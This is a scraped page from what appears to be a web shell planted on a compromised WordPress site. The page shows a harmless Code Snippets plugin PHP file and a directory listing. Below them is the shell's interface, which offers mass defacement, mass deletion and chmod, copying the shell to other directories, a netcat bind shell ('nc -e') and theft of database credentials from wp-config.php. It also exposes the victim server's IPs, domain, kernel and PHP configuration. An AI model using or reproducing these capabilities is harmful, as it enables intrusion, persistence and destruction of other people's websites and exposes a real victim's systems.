WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / code-snippets / php / [dxwrx-r--r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/plugins/code-snippets/php/class-data-item.php (6.56 KB)
<?php

namespace Code_Snippets;

use WP_Exception;

/**
 * Base class for representing an item of data without needing to use direct access or individual getter and setter functions.
 *
 * @package Code_Snippets
 *
 * @since   3.4.0
 */
abstract class Data_Item {

	/**
	 * List of data fields keyed to their current values. Will be initialised with default values.
	 *
	 * @var array<string, mixed>
	 */
	protected array $fields;

	/**
	 * List of default values provided for fields.
	 *
	 * @var array<string, mixed>
	 */
	protected array $default_values;

	/**
	 * Optional list of field name aliases to map when resolving a field name.
	 *
	 * @var array<string, string> Field alias names keyed to actual field names.
	 */
	protected array $field_aliases;

	/**
	 * Class constructor.
	 *
	 * @param array<string, mixed>           $default_values List of valid fields mapped to their default values.
	 * @param array<string, mixed>|Data_Item $initial_data   Optional initial data to populate fields.
	 * @param array<string, string>          $field_aliases  Optional list of field name aliases to map when resolving a field name.
	 */
	public function __construct( array $default_values, $initial_data = null, array $field_aliases = [] ) {
		$this->fields = $default_values;
		$this->default_values = $default_values;
		$this->field_aliases = $field_aliases;

		// If we've accidentally passed an existing object, then fetch its fields before constructing the new object.
		if ( is_object( $initial_data ) && method_exists( $initial_data, 'get_fields' ) ) {
			$initial_data = $initial_data->get_fields();
		}

		$this->set_fields( $initial_data );
	}


	/**
	 * Set all data fields from an array or object. Invalid fields will be ignored.
	 *
	 * @param array<string, mixed>|mixed $data List of data.
	 */
	public function set_fields( $data ) {
		// Only accept arrays or objects.
		if ( ! $data || is_string( $data ) ) {
			return;
		}

		// Convert objects into arrays.
		if ( is_object( $data ) ) {
			$data = get_object_vars( $data );
		}

		// Loop through the provided fields and set their values.
		foreach ( $data as $field => $value ) {
			$this->set_field( $field, $value );
		}
	}

	/**
	 * Retrieve list of current data fields.
	 *
	 * @return array<string, mixed> Field names keyed to current values.
	 */
	public function get_fields(): array {
		$fields = [];

		foreach ( $this->get_allowed_fields() as $field_name ) {
			$fields[ $field_name ] = $this->$field_name;
		}

		return $fields;
	}

	/**
	 * Retrieve a list of current data fields, excluding values that are unchanged from the default.
	 *
	 * @return array<string, mixed>
	 */
	public function get_modified_fields(): array {
		return array_filter(
			$this->get_fields(),
			function ( $value, $field ) {
				return $value && $value !== $this->default_values[ $field ];
			},
			ARRAY_FILTER_USE_BOTH
		);
	}

	/**
	 * Internal function for resolving the actual name of a field.
	 *
	 * @param string $field A field name, potentially a field alias.
	 *
	 * @return string The resolved field name.
	 */
	protected function resolve_field_name( string $field ): string {
		return $this->field_aliases[ $field ] ?? $field;
	}

	/**
	 * Check if a field is set.
	 *
	 * @param string $field The field name.
	 *
	 * @return bool Whether the field is set.
	 */
	public function __isset( string $field ) {
		$field = $this->resolve_field_name( $field );
		return isset( $this->fields[ $field ] ) || method_exists( $this, 'get_' . $field );
	}

	/**
	 * Retrieve a field's value.
	 *
	 * @param string $field The field name.
	 *
	 * @return mixed The field value
	 *
	 * @throws WP_Exception If the field name is not allowed.
	 */
	public function __get( string $field ) {
		$field = $this->resolve_field_name( $field );

		if ( method_exists( $this, 'get_' . $field ) ) {
			return call_user_func( array( $this, 'get_' . $field ) );
		}

		if ( ! $this->is_allowed_field( $field ) ) {
			if ( function_exists( 'wp_trigger_error' ) ) {
				// translators: 1: class name, 2: field name.
				$message = sprintf( 'Trying to access invalid property on "%1$s" class: %2$s', get_class( $this ), $field );
				wp_trigger_error( __FUNCTION__, $message, E_USER_WARNING );
			}

			return null;
		}

		return $this->fields[ $field ];
	}

	/**
	 * Set the value of a field.
	 *
	 * @param string $field The field name.
	 * @param mixed  $value The field value.
	 *
	 * @throws WP_Exception If the field name is not allowed.
	 */
	public function __set( string $field, $value ) {
		$field = $this->resolve_field_name( $field );

		if ( ! $this->is_allowed_field( $field ) ) {
			if ( function_exists( 'wp_trigger_error' ) ) {
				// translators: 1: class name, 2: field name.
				$message = sprintf( 'Trying to set invalid property on "%s" class: %s', get_class( $this ), $field );
				wp_trigger_error( __FUNCTION__, $message, E_USER_ERROR );
			}

			return;
		}

		$value = method_exists( $this, 'prepare_' . $field ) ?
			call_user_func( array( $this, 'prepare_' . $field ), $value ) :
			$this->prepare_field( $value, $field );

		$this->fields[ $field ] = $value;
	}

	/**
	 * Prepare a value before it is stored.
	 *
	 * @param mixed  $value Value to prepare.
	 * @param string $field Field name.
	 *
	 * @return mixed Value in the correct format.
	 */
	abstract protected function prepare_field( $value, string $field );

	/**
	 * Retrieve the list of fields that can be written to.
	 *
	 * @return array<string> List of field names.
	 */
	public function get_allowed_fields(): array {
		return array_keys( $this->fields ) + array_keys( $this->field_aliases );
	}

	/**
	 * Determine whether a field is allowed to be written to
	 *
	 * @param string $field The field name.
	 *
	 * @return bool true if the is allowed, false if invalid.
	 */
	public function is_allowed_field( string $field ): bool {
		return ( $this->fields && array_key_exists( $field, $this->fields ) ) ||
		       ( $this->field_aliases && array_key_exists( $field, $this->field_aliases ) );
	}

	/**
	 * Safely set the value for a field.
	 * If the field name is invalid, false will be returned instead of an error thrown.
	 *
	 * @param string $field The field name.
	 * @param mixed  $value The field value.
	 *
	 * @return bool true if the field was set successfully, false if the field name is invalid.
	 *
	 * @noinspection PhpDocMissingThrowsInspection
	 */
	public function set_field( string $field, $value ): bool {
		if ( ! $this->is_allowed_field( $field ) ) {
			return false;
		}

		/**
		 * Above is_allowed_field check should bypass exception.
		 *
		 * @noinspection PhpUnhandledExceptionInspection
		 */
		$this->__set( $field, $value );

		return true;
	}
}
namawaktuukuranownerpermaksi
..
admin-menus/ 2026-07-30 21:3728.18 KB 76129f60960:kundendxwrx-r--r
cloud/ 2026-07-30 21:3741.72 KB 76129f60960:kundendxwrx-r--r
evaluation/ 2026-07-30 21:379.05 KB 76129f60960:kundendxwrx-r--r
export/ 2026-07-30 21:3711.41 KB 76129f60960:kundendxwrx-r--r
flat-files/ 2026-07-30 21:3724.48 KB 76129f60960:kundendxwrx-r--r
front-end/ 2026-07-30 21:3715.83 KB 76129f60960:kundendxwrx-r--r
migration/ 2026-07-30 21:3725.78 KB 76129f60960:kundendxwrx-r--r
rest-api/ 2026-07-30 21:3722.67 KB 76129f60960:kundendxwrx-r--r
settings/ 2026-07-30 21:3741.32 KB 76129f60960:kundendxwrx-r--r
views/ 2026-07-30 21:3718.36 KB 76129f60960:kundendxwrx-r--r
class-admin.php 2026-07-30 21:3712 KB 76129f60960:kunden-xw-x-----
edt
class-contextual-help.php 2026-07-30 21:376.46 KB 76129f60960:kunden-xw-x-----
edt
class-data-item.php 2026-07-30 21:376.56 KB 76129f60960:kunden-xw-x-----
edt
class-db.php 2026-07-30 21:3710.12 KB 76129f60960:kunden-xw-x-----
edt
class-licensing.php 2026-07-30 21:37314 B 76129f60960:kunden-xw-x-----
edt
class-list-table.php 2026-07-30 21:3743.83 KB 76129f60960:kunden-xw-x-----
edt
class-plugin.php 2026-07-30 21:3711.08 KB 76129f60960:kunden-xw-x-----
edt
class-snippet.php 2026-07-30 21:3713.88 KB 76129f60960:kunden-xw-x-----
edt
class-upgrade.php 2026-07-30 21:376.55 KB 76129f60960:kunden-xw-x-----
edt
class-validator.php 2026-07-30 21:377.02 KB 76129f60960:kunden-xw-x-----
edt
class-welcome-api.php 2026-07-30 21:379.53 KB 76129f60960:kunden-xw-x-----
edt
deactivation-notice.php 2026-07-30 21:371.94 KB 76129f60960:kunden-xw-x-----
edt
editor.php 2026-07-30 21:373.48 KB 76129f60960:kunden-xw-x-----
edt
load.php 2026-07-30 21:372.16 KB 76129f60960:kunden-xw-x-----
edt
snippet-ops.php 2026-07-30 21:3720.99 KB 76129f60960:kunden-xw-x-----
edt
strings.php 2026-07-30 21:371.8 KB 76129f60960:kunden-xw-x-----
edt
uninstall.php 2026-07-30 21:372.54 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/plugins/code-snippets/php
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK